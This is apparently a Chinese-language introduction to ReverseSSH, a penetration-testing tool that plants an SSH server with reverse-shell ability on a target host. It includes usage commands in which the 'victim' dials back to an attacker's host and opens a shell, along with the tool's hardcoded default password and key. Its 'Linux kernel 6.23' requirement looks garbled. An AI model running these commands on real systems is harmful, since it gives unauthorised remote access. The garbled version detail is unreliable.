ReverseSSH是一款功能强大的静态链接SSH服务器,ReverseSSH带有反向Shell功能,可以帮助广大研究人员提供强大的远程访问功能。该工具主要适用于渗透测试、HackTheBox挑战或CTF比赛等场景。
常见的Shell工具一般都缺少一些方便的功能,比如说完全交互式访问、Tab键补全或历史记录等。在ReverseSSH的帮助下,我们可以轻松在目标主机上部署一台轻量级SSH服务器(<1.5MB),并使用各种强大功能,比如说文件传输和端口转发等等。
ReverseSSH弥补渗透测试人员在目标设备初始访问点和本地权限提升操作之间的间隔距离,其主要优势如下:
完全交互式Shell访问; 通过SFTP实现文件传输功能; 本地/远程/动态端口转发; 可以当作绑定/反向Shell使用; 支持Unix和Windows操作系统;
本工具的正常使用要求主机系统安装并配置好Golang环境。
Linux:内核版本6.23或更高版本; Windows:Windows Server 2008 R2或更高版本、Windows 7或更高版本;
Golang 1.15; upx(apt install upx-ucl);
广大研究人员可以使用下列命令将该项目源码克隆至本地,并进行项目构建:
git clone https://github.com/Fahrj/reverse-ssh.git
或者,可以直接访问该项目的【Releases页面】下载编译好的可执行文件。
当ReverseSSH运行之后,我们就可以使用任意用户名以及默认密码“letmeinbrudipls”来与服务器建立连接了。简而言之,我们可以直接将ReverseSSH当作一台SSH服务器来使用:
# 完整交互式Shell访问
ssh -p <RPORT> <RHOST>
# 简单的命令执行
ssh -p <RPORT> <RHOST> whoami
# 完整的文件传输
sftp -P <RPORT> <RHOST>
# 端口9050上作为SOCKS代理的动态端口转发
ssh -p <RPORT> -D 9050 <RHOST>
# 目标主机
victim$./reverse-ssh
# 攻击者主机(默认密码: letmeinbrudipls)
attacker$ssh -p 31337 <LHOST>
# 攻击者主机
attacker$./reverse-ssh -l :<LPORT>
# 目标主机
victim$./reverse-ssh -p <LPORT> <LHOST>
victim$./reverse-ssh <USER>@<LHOST>
# 攻击者主机(默认密码: letmeinbrudipls)
attacker$ssh -p 8888 127.0.0.1
attacker$ssh target
reverseSSH v1.1.0 Copyright (C) 2021 Ferdinor <ferdinor@mailbox.org>
Usage: reverse-ssh [options] [<user>@]<target>
Examples:
Bind:
reverse-ssh
reverse-ssh -v -l :4444
Reverse:
reverse-ssh 192.168.0.1
reverse-ssh kali@192.168.0.1
reverse-ssh -p 31337 192.168.0.1
reverse-ssh -v -b 0 kali@192.168.0.2
Options:
-s, Shell to use for incoming connections, e.g. /bin/bash; (default: /bin/bash)
for windows this can only be used to give a path to 'ssh-shellhost.exe' to
enhance pre-Windows10 shells (e.g. '-s ssh-shellhost.exe' if in same directory)
-l, Bind scenario only: listen at this address:port (default: :31337)
-p, Reverse scenario only: ssh port at home (default: 22)
-b, Reverse scenario only: bind to this port after dialling home (default: 8888)
-v, Emit log output
<target>
Optional target which enables the reverse scenario. Can be prepended with
<user>@ to authenticate as a different user than 'reverse' while dialling home.
Credentials:
Accepting all incoming connections from any user with either of the following:
* Password "letmeinbrudipls"
* PubKey "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKlbJwr+ueQ0gojy4QWr2sUWcNC/Y9eV9RdY3PLO7Bk/ Brudi"
ReverseSSH:【点击阅读原文】
https://github.com/Fahrj/reverse-ssh/blob/master/id_reverse-ssh
https://github.com/golang/go/wiki/MinimumRequirements#operating-systems
https://github.com/PowerShell/Win32-OpenSSH/releases/latest